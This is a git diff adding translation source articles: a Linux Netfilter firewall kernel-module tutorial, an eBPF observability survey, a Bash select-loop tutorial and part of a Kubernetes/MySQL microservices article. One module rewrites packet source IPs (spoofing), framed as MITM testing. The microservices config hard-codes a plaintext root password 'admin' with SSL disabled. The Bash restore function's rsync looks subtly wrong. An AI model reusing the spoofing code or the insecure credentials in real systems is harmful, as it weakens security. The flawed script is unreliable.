https://itsfoss.com/wp-content/uploads/2022/08/compress-option-in-right-click-context-menu.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/compress-options.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/configure-right-click-context-menu.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/rotate-or-resize-images-in-nemo-file-manager.png +[9]: https://itsfoss.com/wp-content/uploads/2022/08/change-individual-folder-color.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/select-emblems-for-files-or-folders.png +[11]: https://itsfoss.com/checksum-tools-guide-linux/ +[12]: https://itsfoss.com/wp-content/uploads/2022/08/check-hash-checksum-of-file-with-nemo-gtkhash.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/show-advanced-permission-in-property-dialog-box.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/edit-advanced-permissions-in-property-dialog-box.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/nemo-embedded-terminal.png +[16]: https://itsfoss.com/wp-content/uploads/2022/08/right-click-on-top-left-back-arrow-to-access-recent-folders.png +[17]: https://itsfoss.com/wp-content/uploads/2022/08/show-number-of-items-inside-folder-using-nemo-file-manager.png +[18]: https://itsfoss.com/wp-content/uploads/2022/08/show-folder-item-count-and-file-sizes-in-nemo-preferences.png +[19]: https://itsfoss.com/wp-content/uploads/2022/08/default-list-columns-available-in-nemo.png +[20]: https://itsfoss.com/wp-content/uploads/2022/08/more-media-columns-added-to-nemo-list-view.png +[21]: https://itsfoss.com/wp-content/uploads/2022/08/more-columns-view-in-nemo-list-view.png +[22]: https://help.gnome.org/users/zenity/stable/ +[23]: https://itsfoss.com/copyq-clipboard-manager/ +[24]: https://itsfoss.com/wp-content/uploads/2022/08/nemo-scripts-in-right-click-context.png +[25]: https://itsfoss.com/wp-content/uploads/2022/08/color-select-with-zenity.png +[26]: https://itsfoss.com/wp-content/uploads/2022/08/reduce-image-by-50-percent-context-menu-entry.png +[27]: https://itsfoss.com/wp-content/uploads/2022/08/image-reduced-with-nemo-actions-result.png +[28]: https://itsfoss.com/wp-content/uploads/2022/08/access-plugins-from-menu.png +[29]: https://itsfoss.com/wp-content/uploads/2022/08/plugins-view-and-manage-in-nemo.png +[30]: https://itsfoss.com/nautilus-tips-tweaks/ diff --git a/sources/tech/20220825 Building a Stateless Firewall Using Netfilter in Linux.md b/sources/tech/20220825 Building a Stateless Firewall Using Netfilter in Linux.md new file mode 100644 index 0000000000..bd52151766 --- /dev/null +++ b/sources/tech/20220825 Building a Stateless Firewall Using Netfilter in Linux.md @@ -0,0 +1,157 @@ +[#]: subject: "Building a Stateless Firewall Using Netfilter in Linux" +[#]: via: "https://www.opensourceforu.com/2022/08/building-a-stateless-firewall-using-netfilter-in-linux/" +[#]: author: "Supriyo Ganguly https://www.opensourceforu.com/author/supriyo-ganguly/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Building a Stateless Firewall Using Netfilter in Linux +====== +*The Linux kernel has a Netfilter framework that allows us to perform various networking-related operations. This article is a simple tutorial on how to build firewall modules using Netfilter.* + +The Netfilter framework is a collection of hooks or handlers in the Linux kernel, which helps to filter or capture socket buffers. We can implement packet filtering at the input or output, or even at the forwarding path of a network packet. *Iptables* is a popular tool that is implemented using the Netfilter framework. + +As shown in Figure 1, a packet can be filtered or processed at five different stages. So there are five possible hooks where programmers can attach a customised handler and implement their own firewall. These hooks are (only for Linux kernel 5.10 or above): + +![Figure 1: Processing stages][1] + +* NF_INET_PRE_ROUTING: This hook is called once a network packet enters the stack, before any routing decision takes place. +* NF_INET_LOCAL_IN: After routing, if it is found that the packet is for a local network, this hook is triggered. +* NF_INET_FORWARD: This hook is called if, after routing, it is found that the packet is for another networking domain, and not for a local process. +* NF_INET_LOCAL_OUT: This is called in case the packet is sent from a local process using send or sendto (POSIX calls). +* NF_INET_POST_ROUTING: This handler is called just before any local or forwarded packet is about to hit the interface after handling by the entire stack is over. + +I have written an example code to show how to build a firewall using the Netfilter framework. I have used Linux kernel 5.10. In this example I have blocked all ICMP and HTTP/HTTPS packet sending from a local process. This program has to run from kernel space, and not in user space. So a kernel module has been developed. + +The entire code is available at*https://github.com/SupriyoGanguly/Linux-Firewall-by-netfilter*. You can download the code files to check and understand the implementation. + +#### Packet filtering + +We have created a firewall.c file that is available in the download from the above link. In *firewall.c*, the *netfilter_ops* is a *struct nf_hook_ops* variable. In the init-module section, *netfilter_ops* is initialised with the following: + +``` +netfilter_ops.hook = main_hook; //the handler function +netfilter_ops.pf = PF_INET; //tells the Protocol is IPv4 +netfilter_ops.hooknum = NF_INET_POST_ROUTING; //process at post-routing stage +netfilter_ops.priority = NF_IP_PRI_FIRST; //priority +``` + +Given below is the snippet from firewall.c: + +``` +static struct nf_hook_ops netfilter_ops; + +/* This function is called by hook. */ + +static unsigned int main_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) +{ + //struct udphdr *udp_header; + int dstPort; + struct tcphdr *hdr; + struct iphdr *ip_header = (struct iphdr *)skb_network_header(skb); + + if (ip_header->protocol == IPPROTO_ICMP) { + // udp_header = (struct udphdr *)skb_transport_header(skb); + printk(KERN_INFO “Drop icmp packet.\n”); + return NF_DROP; + } + + if (ip_header->protocol == IPPROTO_TCP) { + hdr = (struct tcphdr *) skb_transport_header(skb); + dstPort = ntohs(hdr->dest); + if ((dstPort==443) || (dstPort==80)) /*drop https and http*/ { + printk(“Drop HTTPS/HTTP packet\n”); + return NF_DROP; + } + } + return NF_ACCEPT; +} +``` + +*main_hook* is the name of the handler function for the *NF_INET_POST_ROUTING hook*. In this function, any packet (whether forwarded or sent from the local interface with ICMP protocol) will be dropped using the first ‘if’ statement, where it checks for the IP_PROTOCOL in the IPv4 header of the socket buffer. As the hook is returning *NF_DROP*, it tells the kernel driver not to proceed with the packet. + +The second ‘if’ statement checks whether any TCP packet with destination port number 443 (for HTTPS) or with port number 80 (for HTTP) will be dropped. + +Now we can use the*Make* statement to compile this module*(filewall.c)*. Figure 2 shows that we can ping an IP of a local network device with IP address 192.168.29.1 successfully just before we have implemented *firewall.c.* + +![Figure 2: Successful ping][2] + +But after insertion of the module, ping starts to fail (as shown in Figure 3). + +![Figure 3: Unsuccessful ping][3] + +This indicates that in the*POST_ROUTING* hook, the packet is dropped and not sent to wire. A log from*dmesg* command is shown in Figure 4 and describes the functionality of the module. + +![Figure 4: Output of dmesg][4] + +In this example you can also see the use of *NF_DROP* or *NF_ACCEPT* return values. The meaning of these values is self-explanatory. But there are a few more return values as well, which include: + +* NF_REPEAT: Repeat the hook function. +* NF_QUEUE: Queue the packet for user space processing.  To implement this in user space, we need to use the libraries nfnetlink and netfilter_queue. +* NF_STOLEN: Further processing of the packet and freeing memory is up to your module. + +#### Packet mangling + +Netfilter can also be used for packet mangling or modification. In the same URL (https://github.com/SupriyoGanguly/Linux-Firewall-by-netfilter), you can find one more file *Mangle.c*. The corresponding makefile is*Makefile_mangle*. + +In this hook, the ICMP ping packet source IP is modified just before sending out the packet. You can see the code below: + +``` +/* This function to be called by hook. */ + +static unsigned int main_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state) +{ + + struct iphdr *ip_header = (struct iphdr *)skb_network_header(skb); + + if (ip_header->protocol == IPPROTO_ICMP) { + printk(KERN_INFO “Mangle icmp packet. %x\n”,ip_header->saddr); + ip_header->saddr = 0xd01da8c0; + } + + return NF_ACCEPT; +} +``` + +The output of Wireshark capture shown in Figure 5 depicts that before loading this module, the ping request to destination IP 192.168.29.1 goes from the original IP of the interface, i.e., 192.168.29.207. But after loading the module, the ping request goes from the modified IP of the interface, i.e., 192.168.29.208. However, the physical interface IP is unchanged. + +![Figure 5: Output of Wireshark][5] + +#### Compiling the code + +To compile and test the downloaded module, just use: + +``` +$ make + +$ sudo insmod firewall +``` + +To remove it, use the following command: + +``` +$ sudo rmmod firewall +``` + +This article is a simple tutorial on building firewall modules using Netfilter. You can also do packet capturing by simply using the*NF_INET_PRE_ROUTING* hook number in this example. You can even use this example to simulate a man-in-the-middle attack for your devices, to test the cybersecurity. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/08/building-a-stateless-firewall-using-netfilter-in-linux/ + +作者:[Supriyo Ganguly][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/supriyo-ganguly/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-1-Processing-stages.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-2-Successful-ping.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-3-Unsuccessful-ping.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-4-Output-of-dmesg.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/06/Figure-5-Output-of-Wireshark.jpg diff --git a/sources/tech/20220825 Using eBPF for network observability in the cloud.md b/sources/tech/20220825 Using eBPF for network observability in the cloud.md new file mode 100644 index 0000000000..8cf08c70ee --- /dev/null +++ b/sources/tech/20220825 Using eBPF for network observability in the cloud.md @@ -0,0 +1,164 @@ +[#]: subject: "Using eBPF for network observability in the cloud" +[#]: via: "https://opensource.com/article/22/8/ebpf-network-observability-cloud" +[#]: author: "Pravein Govindan Kannan https://opensource.com/users/praveingk" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Using eBPF for network observability in the cloud +====== +eBPF extends the Linux kernel to help you monitor the cloud. + +Observability is the ability to know and interpret the current state of a deployment, and a way to know when something is amiss. With cloud deployments of applications as microservices on Kubernetes and OpenShift growing, observability is getting a lot of attention. Many applications come with strict guarantees, such as service level agreements (SLA) for downtimes, latency, and throughput, so network-level observability is a highly imperative feature. Network-level observability is provided by several orchestrators, either natively or by using plugins and operators. + +Recently, [eBPF][2] (extended Berkeley Packet Filter) emerged as a popular option to implement observability at the end-hosts kernel, due to performance and flexibility. This method enables custom programs to be hooked at certain points along the network data path (for instance, a socket, TC, and XDP). Several open source eBPF-based plugins and operators have been released, and each can be plugged into end-host nodes to provide network observability through your cloud orchestrator. + +### Existing Observability Tools + +The core component of an observability module is how it non-invasively collects the necessary data. To that end, using instrumented code and measurements, we've studied how the design of the eBPF datapath affects performance of an observability module, and the workloads it's monitoring. The artifacts of our measurements are open source and available in our [research Git repo][3]. We're also able to provide some useful insights you can use when designing a scalable and high-performance eBPF monitoring data path. + +Here are existing open source tools available to achieve observability in the context of both the network and the host: + +**Skydive** + +[Skydive][4] is a network topology and flow analyzer. It attaches probes to nodes to collect flow-level information. The probes are attached using PCAP, `AF_Packet`, [Open vSwitch][5], and so on. Instead of capturing the entire packet, Skydive uses eBPF to capture the flow metrics. The eBPF implementation, attached to the socket hook-point, uses a hash map to store flow headers and metrics (packets, bytes, and direction.) + +**libebpfflow** + +[Libebpfflow][6] is a network visibility library using eBPF to provide network visibility. It hooks on to various points in a host stack, like kernel probes (`inet_csk_accept`, `tcp_retransmit_skb` ) and tracepoints (`net:netif_receive_skb`, `net:net_dev_queue` ) to analyze TCP/UDP traffic states, RTT, and more. In addition, it provides process, and the container mapping for the traffic it analyzes. Its eBPF implementation uses perf event buffer to notify TCP state change events to userspace. For UDP, it attaches to the tracepoint of the network device queue and uses a combination of LRU hash map and perf event buffer to store UDP flow metrics. + +**eBPF Exporter** + +Cloudflare's [eBPF Exporter][7] provides APIs for plugging in custom eBPF code to record custom metrics of interest. It requires the entire eBPF C code (along with the hook point) to be appended to a YAML file for deployment. + +**Pixie** + +[Pixie][8] uses bpftrace to trace syscalls. It uses TCP/UDP state messages to collect the necessary information, which is then sent to Pixie Edge Module (PEM). In the PEM, the data is parsed according to the detected protocol and stored for querying. + +**Inspektor** + +[Inspektor][9] is a collection of tools for Kubernetes cluster debugging. It aids the mapping of low-level kernel primitives with Kubernetes resources. It's added as a daemonset on each node of the cluster to collect traces using eBPF for events such as syscalls. These events are written to the perf ring buffer. Finally, the ring buffer is consumed retrospectively when a fault occurs (for example, upon a pod crash). + +**L3AF** + +[L3AF][10] provides a set of eBPF packages that can be packaged and chained together using tail-calls. It provides a network observability tool, which mirrors traffic based on the flow-id to the user-space agent. Additionally, it also provides an IPFIX flow exporter by storing flow records on a hash map in the eBPF datapath. + +**Host-INT** + +[Host-INT][11] extends in-band Network Telemetry support to support telemetry for host network stack. Fundamentally, INT embeds the switching delay incurred for each packet into an INT header in the packet. Host-INT does the same for the host network stack between two hosts. Host-INT has two data-path components: a source and sink based on eBPF. The source runs on a TC hook of the sender host's interface, and the sink runs on an XDP hook of the receiver host’s interface. At the source, it uses Hash maps to store flow statistics. Additionally, it adds in an INT header with an ingress/egress port, timestamps, and so on. At the sink, it uses a perf array to send statistics to a sink userspace program on each packet arrival, and sends the packet to the kernel. + +**Falco** + +Falco is a cloud-native runtime security project. It monitors system calls using eBPF probes and parses them at runtime. Falco has provisions to configure alerts on activities such as privileged access using privileged containers, read and write to kernel folders, user addition, password change etc. Falco comprises an userspace program as a CLI tool to specify the alerts and obtain the parsed syscall output and a falco driver built over libscap and libsinsp libraries. For syscalls probes falco uses eBPF ring buffers. + +**Cilium** + +Observability in [Cilium][12] is enabled using eBPF. Hubble is a platform with eBPF hooks running on each node on a cluster. It helps draw insights on services communicating with each other to build a service dependency graph. It also aids Layer 7 monitoring to analyze for e.g. the HTTP calls as well as Kafka topics, Layer 4 monitoring with TCP retransmission rate, and more. + +**Tetragon** + +Tetragon is an extensible framework for security and observability in Cilium. The underlying enabler for tetragon is eBPF with data stored using ring buffers but, along with monitoring eBPF is leveraged to enforce policy spanning various kernel components such as virtual file system (VFS), namespace, system call. + +**Aquasecurity Tracee** + +[Tracee][13] is an event tracing tool for debugging behavioral patterns built over eBPF. Tracee has multiple hook points at tc, kprobes ,etc to monitor and trace the network traffic. At tc hook, it uses a ring buffer (perf) to submit packet-level events to the user-space. + +### Revisiting the design of Flow metric agent + +While motive and implementation differ across different tools, the central component common to all observability tools is the data structure used to collect the observability metrics. While different tools adopt different data structures to collect the metrics, there are no existing performance measurements carried out to see the impact of the data structure used to collect and store observability metrics. To bridge this gap, we implement template eBPF programs using different data structures to collect the same flow metrics from host traffic. We use the following data structures (called Maps) available in eBPF to collect and store metrics: + +1. Ring Buffer +2. Hash +3. Per-CPU Hash +4. Array +5. Per-CPU Array + +### Ring Buffer + +Ring buffer + +is a shared queue between the eBPF datapath and the userspace, where eBPF datapath is the producer and the userspace program is the consumer. It can be used to send per-packet "postcards" to userspace for aggregation of flow metrics. Although this approach could be simple and provide accurate results, it fails to scale because it sends postcards per packet, which keeps the userspace program in a busy loop. + +### Hash and Per-CPU Hash map + +(Per-CPU) Hash map could be used in the eBPF datapath to aggregate per-flow metrics by hashing on the flow-id (for example, 5 tuple IP, port, protocol) and evicting the aggregate information to userspace upon flow completion/inactive. While this approach overcomes the drawbacks of a ring buffer by sending postcards only once per flow and not per packet, it has some disadvantages. + +First, there is a possibility of multiple flows being hashed into the same entry, leading to inaccurate aggregation of the flow metrics. Secondly, the hash map necessarily has limited memory for the in-kernel eBPF datapath, so it could be exhausted. Thus userspace program has to implement eviction logic to constantly evict flows upon a timeout. + +### Array-based map + +(Per-CPU) Array-based map can also be used to store per-packet postcards temporarily before eviction to user space, although not an obvious option. The use of arrays poses an advantage by storing per-packet information in the array until it's full and then flushing to userspace only when it's full. This way, it could improve the busy-loop cycle of the userspace compared to using ringbuffer per-packet. Additionally, it does not have the problem of hash collisions of hash map. However, it is complicated to implement because it would require multiple redundant arrays to store per-packet postcards when the main array is flushing out its contents to userspace. + +### Measurements + +So far, we have studied the options that can be used to implement flow metric collection using several data structures. Now it's time to study the performance achieved using a reference implementation of flow metric postcards using each of the above data structures. To do that, we implemented representative eBPF programs which collect flow metrics. The code we used is available on our [Git repo][14]. Further, we conducted measurements by sending traffic using a custom-built UDP-based packet generator built on top of [PcapPlusPlus][15]. + +This graphic describes the experiment setting: + +![eBPF test environment][16] + +Image by: (Kannan/Naik/Lev-Ran, CC BY-SA 4.0) + +The observe agent is the eBPF datapath performing flow metric collection, hooked at the tc hook-point of the sender. We use two bare-metal servers connected over a 40G link. Packet generation is done using 40 separate cores. To bring these measurements in perspective, libpcap-based Tcpdump which could be used to collect similar flow information. + +#### Single Flow + +We initially run the test with single-flow UDP frames. A single flow test can show us the amount of single flow traffic burst the observe agent can tolerate. As shown in the figure below, native performance without any observe agent is about 4.7 Mpps (Million Packets Per Second), and with [tcpdump][17] running, the throughput falls to about 2 Mpps. With eBPF, we observed that the performance varies from 1.6 Mpps to 4.7 Mpps based on the data structure used to store the flow metrics. Using a shared data structure such as HashMap, we observed the most significant drop in performance for a single-flow, because each packet writes to the same entry in the map regardless of the CPU it originated from. + +Ringbuffer performs slightly better than a single HashMap for a single flow burst. Using a Per-CPU Hash Map, we observed a good increase in throughput performance, because packets arriving from multiple CPUs no longer contend for the same map entry. However, the performance is still half the native performance without any *observe agent*. (Note that this performance is without handling hash collisions and evictions.) + +With (per-cpu) arrays, we see a significant increase in the throughput of a single flow. We can attribute this to the fact there is literally no contention between packets since each packet takes up a different entry in the array incrementally. However, the major drawback in our implementation is we do not handle the array flushing upon full, while it performs writes in a circular fashion. Hence, it stores the last few packet records observed at any point in time. Nevertheless, it provides us the spectrum of performance gains we can achieve by appropriately applying the data structure in the eBPF datapath. + +![eBPF data][18] + +Image by: (Kannan/Naik/Lev-Ran, CC BY-SA 4.0) + +#### Multi-Flow + +We now test the performance of the eBPF observe agents with multiple flows. We generated 40 different UDP flows (1 flow per core) by instrumenting the packet generator. Interestingly, with multiple flows, we observed a stark difference in performance of per-CPU hash and hash map as compared to single flows. This could be attributed to the reduction in contention for a single hash entry.  However, we do not see any performance improvement with ringbuffer since regardless of the flows, the contention channel i.e. ringbuffer is fixed. Array performs marginally better with multiple flows. + +### Lessons learned + +From our studies, we've derrived these conclusions: + +1. Ringbuffer-based per-packet postcards are not scalable, and they affect performance. +2. Hash Maps limit the "burstiness" of a flow, in terms of packets processed per second. Per-CPU hashmaps perform marginally better. +3. To handle short bursts of packets within a flow, using an array map to store per-packet postcards would be a good option given array can store a few packet 10s or 100s of packet records. This would ensure that the observe agent could tolerate short bursts without degrading performance. + +In our research, we analyzed monitoring of packet-level and flow-level information between multiple hosts in the cloud. We started with the premise that the core feature of observability is how the data is collected in a non-invasive manner. With this outlook, we surveyed existing tools, and tested different methodologies of collecting observability data in the form of flow metrics from packets observed in the eBPF datapath. We studied how the performance of flows were affected by the data structure used to collect flow metrics. + +Ideally, to minimize the performance drop of the host traffic due to the overhead of observability agent, our analysis points to a mixed usage of per-cpu array and per-cpu hash data structures. Both  of the data-structures  could be used together to handle short bursts in flows, using an array and aggregation using a per-CPU hash map. We're currently working on the design of an observability agent ([https://github.com/netobserv/netobserv-ebpf-agent][19]), and plan to release a future article with the design details and performance analysis compared to existing tools. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/ebpf-network-observability-cloud + +作者:[Pravein Govindan Kannan][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/praveingk +[b]: https://github.com/lkxed +[2]: https://ebpf.io/ +[3]: https://github.com/netobserv/ebpf-research/tree/main/ebpf-measurements +[4]: https://github.com/skydive-project/skydive +[5]: https://www.redhat.com/sysadmin/getting-started-sdn +[6]: https://github.com/ntop/libebpfflow +[7]: https://github.com/cloudflare/ebpf_exporter +[8]: https://github.com/pixie-io/pixie +[9]: https://github.com/kinvolk/inspektor-gadget +[10]: https://github.com/l3af-project/eBPF-Package-Repository/blob/main/ipfix-flow-exporter/bpf_ipfix_egress_kern.c +[11]: https://github.com/intel/host-int +[12]: https://github.com/cilium/tetragon +[13]: https://github.com/aquasecurity/tracee +[14]: https://github.com/netobserv/ebpf-research/tree/main/ebpf-measurements +[15]: https://pcapplusplus.github.io/ +[16]: https://opensource.com/sites/default/files/2022-08/ebpf-tests.png +[17]: https://sysadmin.prod.acquia-sites.com/sysadmin/troubleshoot-dhcp-nmap-tcpdump-and-wireshark +[18]: https://opensource.com/sites/default/files/2022-08/ebpf-test-throughput.png +[19]: https://github.com/netobserv/netobserv-ebpf-agent diff --git a/sources/tech/20220826 Bash Scripting – Select Loop Explained With Examples.md b/sources/tech/20220826 Bash Scripting – Select Loop Explained With Examples.md new file mode 100644 index 0000000000..9cd6b6e1c1 --- /dev/null +++ b/sources/tech/20220826 Bash Scripting – Select Loop Explained With Examples.md @@ -0,0 +1,169 @@ +[#]: subject: "Bash Scripting – Select Loop Explained With Examples" +[#]: via: "https://ostechnix.com/bash-select-loop/" +[#]: author: "Karthick https://ostechnix.com/author/karthick/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Bash Scripting – Select Loop Explained With Examples +====== +Creating Menu Driven Scripts Using Bash Select Loop + +We have seen about bash **for loop**, **while loop**, and **until loop** in our previous articles with detailed examples. Bash offers one more type of loop called **select loop**, which will allow you to **create menu-driven scripts**. + +Menu-driven scripts are good alternatives to scripts that require users to pass arguments to perform an action. You can add more verbosity in your menus and users have to just select the option for the program to do its job. + +Take a look at our comprehensive article on `for loop`, `while loop`, and `until loop`. + +* [Bash Scripting – For Loop Explained With Examples][1] +* [Bash Scripting – While And Until Loop Explained With Examples][2] + +### Bash Select Loop - Syntax + +The `select loop` syntax is a bit similar to the `for loop` syntax. In the `for loop`, every element will be iterated and for each element, you will write the logic to process it. But `select loop` will automatically convert the list of elements into the numbered menu. + +``` +select fav in ubuntu popos mint kubuntu +do + echo "My fav distribution = ${fav}" +done +``` + +**Explanation:** + +* The loop should start with the `"select"` keyword. +* After the select keyword comes the variable which will store the value you choose from the menu. In my case, I have given the variable name as "fav". +* After the in keyword, you have to give the list of elements. These elements will be converted into a menu. +* Your logic should be placed within the do and the done block. + +Now, go ahead and copy the above snippet and run it in your terminal. It will create a menu and wait for your response. + +![Create Menu Driven Scripts Using Bash Select Loop][3] + +### Select Loop - Response + +Let’s understand the behavior of the select loop when you give the response. + +The `select loop` will only accept the menu number as the argument. Depending upon the menu number you choose, the corresponding value will be stored in the variable(fav). The number from the option which you choose will be stored in the **"REPLY"** variable. + +Check the following code. I have selected the choice **2**. + +``` +$ select fav in ubuntu popos mint kubuntu +do + echo "My fav distribution = ${fav}" +done +1) ubuntu +2) popos +3) mint +4) kubuntu +#? 2 +My fav distribution = popos +#? +``` + +![Bash Select Loop Response][4] + +The select loop will not terminate until you cancel it or use the break statement to exit the loop in your script. I have used the break statement after my logic flow so the loop will be terminated with just one selection. + +The [break][5] statement exit out of the loop once it is called so any pending operation will be skipped in the loop. The following code explains the use of the break statement. + +``` +select fav in ubuntu popos mint kubuntu +do + echo "My fav distribution = ${fav}" + break +done +``` + +![Bash Select Loop With Break Statement][6] + +The default behavior of the select loop is that when the user is not providing the input it will again prompt for the input without exiting the loop. + +![Bash Select Loop Without Input][7] + +### Select Loop - Setting Custom Prompt + +By default, the select loop will use **"#?"** as the prompt. You can also set a custom prompt as per your wish by setting the **PS3 environmental variable**. + +``` +PS3="Choose your fav distribution :: " +select fav in ubuntu popos mint kubuntu; do + echo "My fav distribution = ${fav}" + break +done +``` + +![Set Custom Prompt][8] + +### Creating A Simple Menu Driven Backup And Restore Script + +Till now all we have seen is about the select loop syntax and its behavior. Let’s create a simple backup and restore script with menu driven approach. + +Take a look at the below code. Two functions, **backup()** which will take backup, and **restore()** which will revert the file to the source. + +I am just taking backup only for the `.bashrc` file for demonstration but you can tweak this script as per your requirement. Using the **[conditional statements][9]**, I am validating the input and triggering the respective function. + +``` +#!/usr/bin/env bash + +SOURCE="/home/${USER}/.bashrc" +DESTINATION="/home/${USER}/Documents/" + +# This function will take backup +function backup(){ + rsync -a --progress --delete-before --info=progress2 ${SOURCE} ${DESTINATION} +} + +# This function will restore the backup +function restore(){ + rsync -a --progress --delete-before --info=progress2 ${DESTINATION} ${SOURCE} +} + +PS3="Choose either BACKUP or RESTORE :: " +select option in backup restore +do + if [[ ${option} = "backup" ]];then + backup + elif [[ ${option} = "restore" ]];then + restore + fi + break +done +``` + +Once you run this script, it will just prompt two options as shown in the below image and based upon your selection the action will be performed. + +![Menu Driven Backup And Restore Script][10] + +### Conclusion + +In this article I have shown you what a select statement in bash scripting is and how to use Bash select loop to create a menu-driven scripts. + +Let us know if you have implemented any cool scripts with the menu driven approach through the comment section. + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/bash-select-loop/ + +作者:[Karthick][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/karthick/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/bash-for-loop-shell-scripting/ +[2]: https://ostechnix.com/bash-while-until-loop-shell-scripting/ +[3]: https://ostechnix.com/wp-content/uploads/2022/08/Create-Menu-Driven-Scripts-Using-Bash-Select-Loop.png +[4]: https://ostechnix.com/wp-content/uploads/2022/08/Bash-Select-Loop-Response.png +[5]: https://ostechnix.com/bash-for-loop-shell-scripting/#break-continue-statement-usage +[6]: https://ostechnix.com/wp-content/uploads/2022/08/Bash-Select-Loop-With-Break-Statement.png +[7]: https://ostechnix.com/wp-content/uploads/2022/08/Bash-Select-Loop-Without-Input.png +[8]: https://ostechnix.com/wp-content/uploads/2022/08/Set-Custom-Prompt.png +[9]: https://ostechnix.com/bash-conditional-statements/ +[10]: https://ostechnix.com/wp-content/uploads/2022/08/Menu-Driven-Backup-And-Restore-Script.png diff --git a/sources/tech/20220826 Microservices Deployment Architecture with Kubernetes Clusters.md b/sources/tech/20220826 Microservices Deployment Architecture with Kubernetes Clusters.md new file mode 100644 index 0000000000..8654f7ed00 --- /dev/null +++ b/sources/tech/20220826 Microservices Deployment Architecture with Kubernetes Clusters.md @@ -0,0 +1,508 @@ +[#]: subject: "Microservices Deployment Architecture with Kubernetes Clusters" +[#]: via: "https://www.opensourceforu.com/2022/08/microservices-deployment-architecture-with-kubernetes-clusters/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Microservices Deployment Architecture with Kubernetes Clusters +====== +*Scalability and resilience are two of the most important reasons to move from monoliths to microservices. The Kubernetes platform offers both while orchestrating containers. In this Part 9 of the series, reference architecture for a user management system is presented and demonstrated around Kubernetes. This architecture includes Spring Boot microservices, Apache Kafka and MySQL.* + +look at any e-commerce business. It flourishes during the weekends and on special days. The business is normally low till noon and peaks in the evenings. So the systems that back such e-commerce, banking and government services, etc, experience different loads at different points of time, and need to be scaled up or down as automatically as possible. Such systems require appropriate deployment architecture and orchestration tooling. + +In the previous part of this series of articles, we have seen how docker-compose is useful in deploying multiple containerised services all at once, on a single machine. Though docker-compose is good enough for container deployment, it falls short when it comes to container orchestration. It cannot track the containers and maintain the stability of the infrastructure. That’s where Kubernetes comes to our rescue. + +Kubernetes can deploy containerised services not just on one machine but also on a cluster of any number of machines. It can deploy multiple instances of the same service across the cluster. Kubernetes keeps track of each of the deployed containers. And in case of crashes, it manages the scalability levels by automatically bringing up replacement containers without any manual intervention. + +Let us architect the UMS (user management system) deployment with the help of Kubernetes. + +### Reference architecture + +We have already decomposed our UMS into four microservices, namely: *AddService*, *FindService*, *SearchService* and *JournalService*. These use H2 relational databases for storage and Apache Kafka for asynchronous inter-service collaboration. Now, let’s refactor the architecture to achieve the following: + +1. Replace H2 with MySQL so that the data is saved persistently and shared across all the service instances. +2. Deploy Kafka cluster. +3. Deploy three instances of AddService. +4. Deploy six instances of FindService and SearchService. +5. Deploy one instance of JournalService. + +Since we have only developed *AddService* so far, we will cover the first three goals in this part. Figure 1 gives our reference architecture. + +![Figure 1: Reference architecture][1] + +### Spring Boot and MySQL + +The AddService is currently using the H2 database. As you know, H2 is an in-memory database engine. The data is lost once the engine is restarted. Such behaviour is not desired in the production. We need a database that is persistent. It can be an RDBMS or a NoSQL database like Mongo, etc. We chose MySQL for this illustration. + +Since SpringBoot does not offer the MySQL connector out-of-the-box, we need to add it as a dependency in the *pom.xml* of the *AddService*. + +``` + + mysql + mysql-connector-java + runtime + +``` + +We also need to update *application.properties* to specify the JDBC driver along with a connection string and access details for the MySQL database engine. + +``` +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +spring.datasource.url=jdbc:mysql://mysqldb:3306/glarimy?allowPublicKeyRetrieval=true&useSSL=false +spring.datasource.username=root +spring.datasource.password=admin +``` + +Because of the above configuration, the repository of *AddService* attempts to connect to the *glarimy* database on a machine named *mysqldb* on port number 3306. We are recording the password in clear text in this configuration, only for simplicity. We will find a better way later! + +A few other JPA-specific configurations may also be provided as needed. For example, the following will direct the Hibernate system to scan the code for JPA annotations and keep the schema on the database updated at the time of bootstrapping: + +``` +spring.jpa.hibernate.ddl-auto=update +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect +``` + +### MySQL as a Docker container + +Since the *AddService* depends on MySQL, we can update the existing docker-*compose.yml* for deploying and linking it: + +``` +mysqldb: + image: mysql:latest + networks: + - glarimy + 